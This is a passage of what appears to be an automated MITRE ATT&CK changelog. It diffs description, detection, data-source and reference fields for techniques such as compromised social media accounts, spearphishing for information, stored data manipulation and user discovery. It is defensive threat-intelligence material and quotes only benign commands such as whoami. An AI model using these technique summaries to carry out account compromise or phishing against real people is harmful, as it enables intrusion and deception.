important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
| x_mitre_data_sources[0] | Social media monitoring | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Persona: Social Media |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create and cul | t | 1 | Adversaries may create and cultivate social media accounts t |
| > | tivate social media accounts that can be used during targeti | > | hat can be used during targeting. Adversaries can create soc | ||
| > | ng. Adversaries can create social media accounts that can be | > | ial media accounts that can be used to build a persona to fu | ||
| > | used to build a persona to further operations. Persona deve | > | rther operations. Persona development consists of the develo | ||
| > | lopment consists of the development of public information, p | > | pment of public information, presence, history and appropria | ||
| > | resence, history and appropriate affiliations.(Citation: NEW | > | te affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHa | ||
| > | SCASTER2014)(Citation: BlackHatRobinSage) For operations in | > | tRobinSage) For operations incorporating social engineering | ||
| > | corporating social engineering, the utilization of a persona | > | , the utilization of a persona on social media may be import | ||
| > | on social media may be important. These personas may be fic | > | ant. These personas may be fictitious or impersonate real pe | ||
| > | titious or impersonate real people. The persona may exist on | > | ople. The persona may exist on a single social media site or | ||
| > | a single social media site or across multiple sites (ex: Fa | > | across multiple sites (ex: Facebook, LinkedIn, Twitter, etc | ||
| > | cebook, LinkedIn, Twitter, etc.). Establishing a persona on | > | .). Establishing a persona on social media may require deve | ||
| > | social media may require development of additional document | > | lopment of additional documentation to make them seem real. | ||
| > | ation to make them seem real. This could include filling out | > | This could include filling out profile information, developi | ||
| > | profile information, developing social networks, or incorpo | > | ng social networks, or incorporating photos. Once a person | ||
| > | rating photos. Once a persona has been developed an advers | > | a has been developed an adversary can use it to create conne | ||
| > | ary can use it to create connections to targets of interest. | > | ctions to targets of interest. These connections may be dire | ||
| > | These connections may be direct or may include trying to co | > | ct or may include trying to connect through others.(Citation | ||
| > | nnect through others.(Citation: NEWSCASTER2014)(Citation: Bl | > | : NEWSCASTER2014)(Citation: BlackHatRobinSage) These account | ||
| > | ackHatRobinSage) These accounts may be leveraged during othe | > | s may be leveraged during other phases of the adversary life | ||
| > | r phases of the adversary lifecycle, such as during Initial | > | cycle, such as during Initial Access (ex: [Spearphishing via | ||
| > | Access (ex: [Spearphishing via Service](https://attack.mitre | > | Service](https://attack.mitre.org/techniques/T1566/003)). | ||
| > | .org/techniques/T1566/003)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 17:58:13.557000+00:00 | 2021-10-16 17:37:34.563000+00:00 |
| description | Before compromising a victim, adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
| x_mitre_data_sources[0] | Social media monitoring | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Persona: Social Media |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's host s |
| > | tion about the victim's host software that can be used durin | > | oftware that can be used during targeting. Information about | ||
| > | g targeting. Information about installed software may includ | > | installed software may include a variety of details such as | ||
| > | e a variety of details such as types and versions on specifi | > | types and versions on specific hosts, as well as the presen | ||
| > | c hosts, as well as the presence of additional components th | > | ce of additional components that might be indicative of adde | ||
| > | at might be indicative of added defensive protections (ex: a | > | d defensive protections (ex: antivirus, SIEMs, etc.). Adver | ||
| > | ntivirus, SIEMs, etc.). Adversaries may gather this informa | > | saries may gather this information in various ways, such as | ||
| > | tion in various ways, such as direct collection actions via | > | direct collection actions via [Active Scanning](https://atta | ||
| > | [Active Scanning](https://attack.mitre.org/techniques/T1595) | > | ck.mitre.org/techniques/T1595) (ex: listening ports, server | ||
| > | (ex: listening ports, server banners, user agent strings) o | > | banners, user agent strings) or [Phishing for Information](h | ||
| > | r [Phishing for Information](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1598). Adversaries may a | ||
| > | ques/T1598). Adversaries may also compromise sites then incl | > | lso compromise sites then include malicious content designed | ||
| > | ude malicious content designed to collect host information f | > | to collect host information from visitors.(Citation: ATT Sc | ||
| > | rom visitors.(Citation: ATT ScanBox) Information about the i | > | anBox) Information about the installed software may also be | ||
| > | nstalled software may also be exposed to adversaries via onl | > | exposed to adversaries via online or other accessible data s | ||
| > | ine or other accessible data sets (ex: job postings, network | > | ets (ex: job postings, network maps, assessment reports, res | ||
| > | maps, assessment reports, resumes, or purchase invoices). G | > | umes, or purchase invoices). Gathering this information may | ||
| > | athering this information may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Search Open Websites/Domains] | > | [Search Open Websites/Domains](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1593) or [Search Open | > | niques/T1593) or [Search Open Technical Databases](https://a | ||
| > | Technical Databases](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1596)), establishing operational | ||
| > | 96)), establishing operational resources (ex: [Develop Capab | > | resources (ex: [Develop Capabilities](https://attack.mitre. | ||
| > | ilities](https://attack.mitre.org/techniques/T1587) or [Obta | > | org/techniques/T1587) or [Obtain Capabilities](https://attac | ||
| > | in Capabilities](https://attack.mitre.org/techniques/T1588)) | > | k.mitre.org/techniques/T1588)), and/or for initial access (e | ||
| > | , and/or for initial access (ex: [Supply Chain Compromise](h | > | x: [Supply Chain Compromise](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1195) or [External Remot | > | ques/T1195) or [External Remote Services](https://attack.mit | ||
| > | e Services](https://attack.mitre.org/techniques/T1133)). | > | re.org/techniques/T1133)). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:53:39.162000+00:00 | 2021-10-17 16:33:19.596000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:36:17.133000+00:00 | 2022-01-29 00:02:24.150000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Command: Command Execution |
| x_mitre_data_sources[1] | Azure activity logs | Firewall: Firewall Enumeration |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Firewall: Firewall Metadata |
| x_mitre_data_sources[3] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[4] | Process monitoring | Process: OS API Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send spearphis | t | 1 | Adversaries may send spearphishing messages with a malicious |
| > | hing messages with a malicious attachment to elicit sensitiv | > | attachment to elicit sensitive information that can be used | ||
| > | e information that can be used during targeting. Spearphishi | > | during targeting. Spearphishing for information is an attem | ||
| > | ng for information is an attempt to trick targets into divul | > | pt to trick targets into divulging information, frequently c | ||
| > | ging information, frequently credentials or other actionable | > | redentials or other actionable information. Spearphishing fo | ||
| > | information. Spearphishing for information frequently invol | > | r information frequently involves social engineering techniq | ||
| > | ves social engineering techniques, such as posing as a sourc | > | ues, such as posing as a source with a reason to collect inf | ||
| > | e with a reason to collect information (ex: [Establish Accou | > | ormation (ex: [Establish Accounts](https://attack.mitre.org/ | ||
| > | nts](https://attack.mitre.org/techniques/T1585) or [Compromi | > | techniques/T1585) or [Compromise Accounts](https://attack.mi | ||
| > | se Accounts](https://attack.mitre.org/techniques/T1586)) and | > | tre.org/techniques/T1586)) and/or sending multiple, seemingl | ||
| > | /or sending multiple, seemingly urgent messages. All forms | > | y urgent messages. All forms of spearphishing are electroni | ||
| > | of spearphishing are electronically delivered social enginee | > | cally delivered social engineering targeted at a specific in | ||
| > | ring targeted at a specific individual, company, or industry | > | dividual, company, or industry. In this scenario, adversarie | ||
| > | . In this scenario, adversaries attach a file to the spearph | > | s attach a file to the spearphishing email and usually rely | ||
| > | ishing email and usually rely upon the recipient populating | > | upon the recipient populating information then returning the | ||
| > | information then returning the file.(Citation: Sophos Attach | > | file.(Citation: Sophos Attachment)(Citation: GitHub Phisher | ||
| > | ment)(Citation: GitHub Phishery) The text of the spearphishi | > | y) The text of the spearphishing email usually tries to give | ||
| > | ng email usually tries to give a plausible reason why the fi | > | a plausible reason why the file should be filled-in, such a | ||
| > | le should be filled-in, such as a request for information fr | > | s a request for information from a business associate. Adver | ||
| > | om a business associate. Adversaries may also use informatio | > | saries may also use information from previous reconnaissance | ||
| > | n from previous reconnaissance efforts (ex: [Search Open Web | > | efforts (ex: [Search Open Websites/Domains](https://attack. | ||
| > | sites/Domains](https://attack.mitre.org/techniques/T1593) or | > | mitre.org/techniques/T1593) or [Search Victim-Owned Websites | ||
| > | [Search Victim-Owned Websites](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1594)) to craft persu | ||
| > | hniques/T1594)) to craft persuasive and believable lures. | > | asive and believable lures. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:12:48.152000+00:00 | 2021-04-15 03:41:33.335000+00:00 |
| description | Before compromising a victim, adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
| x_mitre_data_sources[0] | Mail server | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Email gateway | Network Traffic: Network Traffic Content |
| x_mitre_detection | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Philip Winther | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:24:20.350000+00:00 | 2021-10-15 16:46:56.760000+00:00 |
| x_mitre_data_sources[0] | Binary file metadata | File: File Metadata |
| x_mitre_detection | Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings are other signatures left in system artifacts related to decoding steganography. | Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may insert, delete, or manipulate data at rest i | t | 1 | Adversaries may insert, delete, or manipulate data at rest i |
| > | n order to manipulate external outcomes or hide activity.(Ci | > | n order to influence external outcomes or hide activity, thu | ||
| > | tation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2 | > | s threatening the integrity of the data.(Citation: FireEye A | ||
| > | 018) By manipulating stored data, adversaries may attempt to | > | PT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulat | ||
| > | affect a business process, organizational understanding, an | > | ing stored data, adversaries may attempt to affect a busines | ||
| > | d decision making. Stored data could include a variety of f | > | s process, organizational understanding, and decision making | ||
| > | ile formats, such as Office files, databases, stored emails, | > | . Stored data could include a variety of file formats, such | ||
| > | and custom file formats. The type of modification and the i | > | as Office files, databases, stored emails, and custom file | ||
| > | mpact it will have depends on the type of data as well as th | > | formats. The type of modification and the impact it will hav | ||
| > | e goals and objectives of the adversary. For complex systems | > | e depends on the type of data as well as the goals and objec | ||
| > | , an adversary would likely need special expertise and possi | > | tives of the adversary. For complex systems, an adversary wo | ||
| > | bly access to specialized software related to the system tha | > | uld likely need special expertise and possibly access to spe | ||
| > | t would typically be gained through a prolonged information | > | cialized software related to the system that would typically | ||
| > | gathering campaign in order to have the desired impact. | > | be gained through a prolonged information gathering campaig | ||
| > | n in order to have the desired impact. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'root', 'SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-02 15:17:40.505000+00:00 | 2022-04-19 23:03:49.461000+00:00 |
| description | Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. |
| external_references[1]['source_name'] | FireEye APT38 Oct 2018 | DOJ Lazarus Sony 2018 |
| external_references[1]['description'] | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. | Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. |
| external_references[1]['url'] | https://content.fireeye.com/apt/rpt-apt38 | https://www.justice.gov/opa/press-release/file/1092091/download |
| external_references[2]['source_name'] | DOJ Lazarus Sony 2018 | FireEye APT38 Oct 2018 |
| external_references[2]['description'] | Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. |
| external_references[2]['url'] | https://www.justice.gov/opa/press-release/file/1092091/download | https://content.fireeye.com/apt/rpt-apt38 |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Application logs | File: File Deletion |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:42:26.314000+00:00 | 2022-05-05 05:04:52.387000+00:00 |
| external_references[1]['source_name'] | SpectorOps Subverting Trust Sept 2017 | SpectorOps Code Signing Dec 2017 |
| external_references[1]['description'] | Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018. | Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018. |
| external_references[1]['url'] | https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf | https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec |
| external_references[2]['source_name'] | Securelist Digital Certificates | SpectorOps Subverting Trust Sept 2017 |
| external_references[2]['description'] | Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016. | Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018. |
| external_references[2]['url'] | https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/ | https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf |
| external_references[3]['source_name'] | Symantec Digital Certificates | Securelist Digital Certificates |
| external_references[3]['description'] | Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016. | Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016. |
| external_references[3]['url'] | http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates | https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/ |
| external_references[4]['source_name'] | SpectorOps Code Signing Dec 2017 | Symantec Digital Certificates |
| external_references[4]['description'] | Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018. | Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016. |
| external_references[4]['url'] | https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec | http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates |
| x_mitre_data_sources[0] | Binary file metadata | File: File Metadata |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[3] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[4] | API monitoring | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[5] | Application logs | Command: Command Execution |
| x_mitre_data_sources[6] | DLL monitoring | Process: Process Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_defense_bypassed | Application Control |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Windows event logs | |
| x_mitre_defense_bypassed | Application control | |
| x_mitre_defense_bypassed | Process whitelisting |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to identify the primary user, curren | t | 1 | Adversaries may attempt to identify the primary user, curren |
| > | tly logged in user, set of users that commonly uses a system | > | tly logged in user, set of users that commonly uses a system | ||
| > | , or whether a user is actively using the system. They may d | > | , or whether a user is actively using the system. They may d | ||
| > | o this, for example, by retrieving account usernames or by u | > | o this, for example, by retrieving account usernames or by u | ||
| > | sing [OS Credential Dumping](https://attack.mitre.org/techni | > | sing [OS Credential Dumping](https://attack.mitre.org/techni | ||
| > | ques/T1003). The information may be collected in a number of | > | ques/T1003). The information may be collected in a number of | ||
| > | different ways using other Discovery techniques, because us | > | different ways using other Discovery techniques, because us | ||
| > | er and username details are prevalent throughout a system an | > | er and username details are prevalent throughout a system an | ||
| > | d include running process ownership, file/directory ownershi | > | d include running process ownership, file/directory ownershi | ||
| > | p, session information, and system logs. Adversaries may use | > | p, session information, and system logs. Adversaries may use | ||
| > | the information from [System Owner/User Discovery](https:// | > | the information from [System Owner/User Discovery](https:// | ||
| > | attack.mitre.org/techniques/T1033) during automated discover | > | attack.mitre.org/techniques/T1033) during automated discover | ||
| > | y to shape follow-on behaviors, including whether or not the | > | y to shape follow-on behaviors, including whether or not the | ||
| > | adversary fully infects the target and/or attempts specific | > | adversary fully infects the target and/or attempts specific | ||
| > | actions. Utilities and commands that acquire this informat | > | actions. Various utilities and commands may acquire this i | ||
| > | ion include <code>whoami</code>. In Mac and Linux, the curre | > | nformation, including <code>whoami</code>. In macOS and Linu | ||
| > | ntly logged in user can be identified with <code>w</code> an | > | x, the currently logged in user can be identified with <code | ||
| > | d <code>who</code>. | > | >w</code> and <code>who</code>. On macOS the <code>dscl . li | ||
| > | st /Users | grep -v '_'</code> command can also be used to e | ||||
| > | numerate user accounts. Environment variables, such as <code | ||||
| > | >%USERNAME%</code> and <code>$USER</code>, may also be used | ||||
| > | to access this information. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
